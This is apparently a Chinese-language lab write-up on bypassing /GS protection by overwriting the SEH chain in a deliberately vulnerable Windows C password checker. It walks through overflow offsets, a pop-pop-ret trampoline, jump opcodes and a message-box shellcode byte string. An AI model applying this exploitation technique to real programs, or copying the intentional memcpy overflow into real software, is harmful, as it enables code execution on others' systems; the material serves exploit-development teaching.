概述

绕过思路

通过分析异常梳理函数的函数原型,发现可以通过以下方法获取执行权限
1) 分析异常处理函数原型的四个参数,具体如下:

1
2
3
4
5
6
EXCEPTION_DISPOSITION __cdecl _except_handler (
struct _EXCEPTION_RECORD * _ExceptionRecord,
void * EstablisherFrame, // 这里指向自己覆盖的异常连prve成员的起始地址
struct _CONTEXT * _ContextRecord,
void * _DispatcherContext
);

​ 2) 可以考虑通过构建一个ret,返回至_EstablisherFrame所指向的地址执行;
​ 3) 通过pop#pop在栈中将“_except_handler返回地址”与“_ExceptionRecord”弹出,是的ret能够将_EstablisherFrame当作返回地址使用;
​ 4) 将_EstablisherFrame所指向位置的数据(也就是自己覆盖的异常连prve成员的起始地址)修改为“jmp xx”的opcode,跳转至shellcode执行;

方法1

目标程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <Windows.h>
#include <stdio.h>


#define PASSWORD "15PB"
int VerifyPassword(char* pszPassword, int nSize)
{
char szBuffer[50] = {0};
memcpy(szBuffer, pszPassword, nSize);
strcat(szBuffer, pszPassword);//为了产生SEH异常
return strcmp(PASSWORD, szBuffer);
}

int main()
{
int nFlag = 0;
char szPassword[0x200] = {0};
FILE* pFile;
LoadLibraryA("user32.dll");
if (NULL == !(fopen_s(&pFile,"password.txt", "rb")))
{
MessageBoxA(NULL, "文件打开失败", "error", NULL);
exit(0);
}

fseek(pFile, 0, SEEK_END);//将文件指针指向结尾
int nFileSize = ftell(pFile);//返回文件的偏移量(文件大小)
rewind(pFile); //重新指向文件的开头

fread(szPassword, nFileSize, 1, pFile);
nFlag = VerifyPassword(szPassword, nFileSize);
if(nFlag)printf("密码错误\n");
else printf("密码正确\n");
fclose(pFile);
system("pause");
return 0;
}

注意:编译时除了GS开启,其它全部关闭(DEP/随机基址/sdl/优化/aslf)

password.txt

为了超出缓冲区,数据要弄多一点,(下面这段数据是已经找到溢出点)

1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0000

找到偏移

进一步分析

执行到这句代码strcat(szBuffer, pszPassword);让其产生SEH异常,然后让其执行到0019FF64 30303030 这个位置

因为SEH存在检测0019FF64 这个地址存在的地址是否在栈内,所以这里需要找一个栈外的地址

将这个地址填入30303030存在的位置,然后执行进入strcat函数(产生异常)

然后返回到下一条SEH地址,填写跳转到shellcode指令地址

就让他跳到password.txt首地址

构造二进制

由于直接jmp 0x19fccc,这个跳转占5个字节,所以这里只能实现短跳(这个地方快到栈底了)

0019FF60 |EB 06 | jmp 19FF68

才这个地方填写

0019FF68 | E9 5FFDFFFF | jmp 19FCCC

先测试弹出messagebox 77081930

方法2

一般请款下动不了源码的,所以,还得想办法制造异常

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <Windows.h>
#include <stdio.h>


#define PASSWORD "15PB"
int VerifyPassword(char* pszPassword, int nSize)
{
char szBuffer[50] = {0};
memcpy(szBuffer, pszPassword, nSize);

return strcmp(PASSWORD, szBuffer);
}

int main()
{
int nFlag = 0;
char szPassword[0x200] = {0};
FILE* pFile;
LoadLibraryA("user32.dll");
if (NULL == !(fopen_s(&pFile,"password.txt", "rb")))
{
MessageBoxA(NULL, "文件打开失败", "error", NULL);
exit(0);
}

fseek(pFile, 0, SEEK_END);//将文件指针指向结尾
int nFileSize = ftell(pFile);//返回文件的偏移量(文件大小)
rewind(pFile); //重新指向文件的开头

fread(szPassword, nFileSize, 1, pFile);
nFlag = VerifyPassword(szPassword, nFileSize);
if(nFlag)printf("密码错误\n");
else printf("密码正确\n");
fclose(pFile);
system("pause");
return 0;
}

填充代码直至覆盖到SEH连的HANDLE,目前想到的方法是将填充的内容足够多直至把栈空间撑爆,触发异常

出现的意外没在memcpy时触发异常,直接再fread时触发了

计算好缓冲区地址与SEH链的偏移距离.定位溢出点(F64 - D24 = 240)十进制 = 576

在KiUserExceptionDispatcher下断点

进入后走到第七个callF7进入

之后就看到了在esp中取值,进入F4F这个函数

然后就看到了call ecx,ecx是在ebp + 0x18取值来的,就是SEH链中的HANDLE,不过要走到第二轮

再一次循环到这(第二轮)

验证溢出点

寻找跳板

成功跳转到ret,此时栈空间离栈顶+8的位置0019FF60(SEH链),这里可以找pop#pop#ret的指令替换ret,之后把之前ret的四字节地址替换成EB06(向下跳6个字节),然后就可以放自己的shellcode

测试跳转

跳转成功

shellcode

就弹窗吧

提取OPDCODE

1
"\x33\xC0\x50\x50\x50\x50\x50\x68\x30\x19\xBE\x76\xC3"